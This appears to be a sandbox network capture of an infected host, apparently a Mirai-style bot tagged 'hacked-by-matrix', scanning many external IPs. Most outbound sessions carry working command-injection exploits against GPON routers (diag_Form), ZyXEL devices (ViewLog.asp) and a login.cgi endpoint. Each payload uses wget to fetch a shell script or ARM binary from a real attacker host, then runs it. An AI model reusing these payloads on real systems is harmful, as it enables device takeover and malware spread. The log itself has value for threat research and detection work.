Mar 21, 2024 05:27:04.289536953 CET	1286	IN	HTTP/1.1 400 Bad Request Server: squid/3.5.20 Mime-Version: 1.0 Date: Thu, 21 Mar 2024 04:27:04 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3470 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 36 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 73 71 75 69 64 2d 69 6e 74 65 72 6e 61 6c 2d 73 74 61 74 69 63 2f 69 63 6f 6e 73 2f 53 4e 2e 70 6e 67 27 29 20 Data Ascii: <html><head><meta type="copyright" content="Copyright (C) 1996-2016 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2016 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background: #efefef;font-size: 12px;color: #1e1e1e;}/* Page displayed title area */#titles {margin-left: 15px;padding: 10px;padding-left: 100px;background: url('/squid-internal-static/icons/SN.png')
Mar 21, 2024 05:27:04.289599895 CET	1286	IN	Data Raw: 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 Data Ascii: no-repeat left;}/* initial title /#titles h1 {color: #000000;}#titles h2 {color: #000000;}/ special event: FTP success page titles /#titles ftpsuccess {background-color:#00ff00;width:100%;}/ Page displayed body content
Mar 21, 2024 05:27:04.289612055 CET	1154	IN	Data Raw: 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 32 3e 0a 3c 2f 64 69 76 3e 0a 3c 68 72 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 54 68 65 20 66 6f 6c 6c 6f 77 Data Ascii: sted URL could not be retrieved</h2></div><hr><div id="content"><p>The following error was encountered while trying to retrieve the URL: <a href="/GponForm/diag_Form?images/">/GponForm/diag_Form?images/</a></p><blockquote id="error"><p

Session ID	Source IP	Source Port	Destination IP	Destination Port
1727	192.168.2.23	48932	208.106.233.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:04.370134115 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1728	192.168.2.23	55874	181.177.101.84	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:04.940113068 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:05.453605890 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:05.565179110 CET	413	IN	HTTP/1.0 407 Proxy Authentication Required Proxy-Authenticate: Basic realm="login" Connection: close Content-type: text/html; charset=utf-8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 37 20 50 72 6f 78 79 20 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 20 52 65 71 75 69 72 65 64 3c 2f 68 32 3e 3c 68 33 3e 41 63 63 65 73 73 20 74 6f 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 64 69 73 61 6c 6c 6f 77 65 64 20 62 79 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 6f 72 20 79 6f 75 20 6e 65 65 64 20 76 61 6c 69 64 20 75 73 65 72 6e 61 6d 65 2f 70 61 73 73 77 6f 72 64 20 74 6f 20 75 73 65 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>407 Proxy Authentication Required</title></head><body><h2>407 Proxy Authentication Required</h2><h3>Access to requested resource disallowed by administrator or you need valid username/password to use this resource</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1729	192.168.2.23	53176	94.122.83.33	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:05.429121971 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1730	192.168.2.23	42418	42.60.53.189	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:05.429145098 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1731	192.168.2.23	48466	79.72.191.168	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:05.429150105 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1732	192.168.2.23	41244	42.105.230.57	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:05.429163933 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1733	192.168.2.23	48944	54.197.65.32	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:06.596641064 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:06.694111109 CET	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Thu, 21 Mar 2024 04:27:06 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1734	192.168.2.23	32930	212.12.25.31	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:06.734021902 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:06.971657991 CET	393	IN	HTTP/1.1 404 Not Found Date: Thu, 21 Mar 2024 07:26:23 GMT Server: DNVRS-Webs Cache-Control: no-cache Content-Length: 183 Content-Type: text/html Connection: keep-alive Keep-Alive: timeout=60, max=99 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 45 72 72 6f 72 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 3c 68 32 3e 41 63 63 65 73 73 20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 3e 43 61 6e 27 74 20 6f 70 65 6e 20 64 6f 63 75 6d 65 6e 74 3a 20 2f 6c 6f 67 69 6e 2e 63 67 69 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><html><head><title>Document Error: Not Found</title></head><body><h2>Access Error: 404 -- Not Found</h2><p>Can't open document: /login.cgi</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1735	192.168.2.23	57828	212.24.19.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:06.888799906 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:07.501416922 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:07.697942972 CET	433	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:27:06 GMT Server: Apache X-Frame-Options: SAMEORIGIN Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1736	192.168.2.23	50872	212.179.180.9	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:06.960289001 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:27:09.053325891 CET	141	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 05:18:00 GMT Server: cisco-IOS Connection: close Accept-Ranges: none Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1737	192.168.2.23	37214	213.188.198.251	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:27:07.047321081 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:07.326600075 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:27:07.554982901 CET	352	IN	HTTP/1.1 404 Not Found content-type: text/html; charset=utf-8 vary: Accept-Encoding content-encoding: gzip date: Thu, 21 Mar 2024 04:27:07 GMT connection: keep-alive keep-alive: timeout=5 transfer-encoding: chunked server: Fly/0052f39f (2024-03-18) via: 1.1 fly.io fly-request-id: 01HSFM6GQ9CK0ZK179QF1XV8GM-ewr Data Raw: 41 0d 0a 1f 8b 08 00 00 00 00 00 00 03 0d 0a Data Ascii: A
Mar 21, 2024 05:27:07.555125952 CET	419	IN	Data Raw: 31 39 30 0d 0a 5d 52 4b 6e dc 30 0c dd f7 14 1c ad 12 60 64 75 8a 2c 8a 89 ec 4d da a2 ab b6 68 13 a0 59 2a 16 3d 16 2a 8b 86 44 8f eb 33 74 d5 5e 20 47 e9 95 72 84 70 32 93 45 a2 05 41 52 fc bc f7 24 bb fa f0 f5 ea fa f6 db 47 e8 79 88 8d 3d 58 Data Ascii: 190]RKn0`du,MhY=D3t^ Grp2EAR$Gy=X.jII7v@v.@~)Gl>uH.bY?w.pa,%uiNHc5GtwAU B\e)KE!2x{aWZ<;_M
Mar 21, 2024 05:27:07.555144072 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Mar 21, 2024 05:27:07.555155993 CET	96	IN	HTTP/1.1 400 Bad Request content-length: 0 date: Thu, 21 Mar 2024 04:27:06 GMT

Session ID	Source IP	Source Port	Destination IP	Destination Port
1738	192.168.2.23	50566	80.218.152.136	80

Timestamp	Bytes transferred	Direction	Data
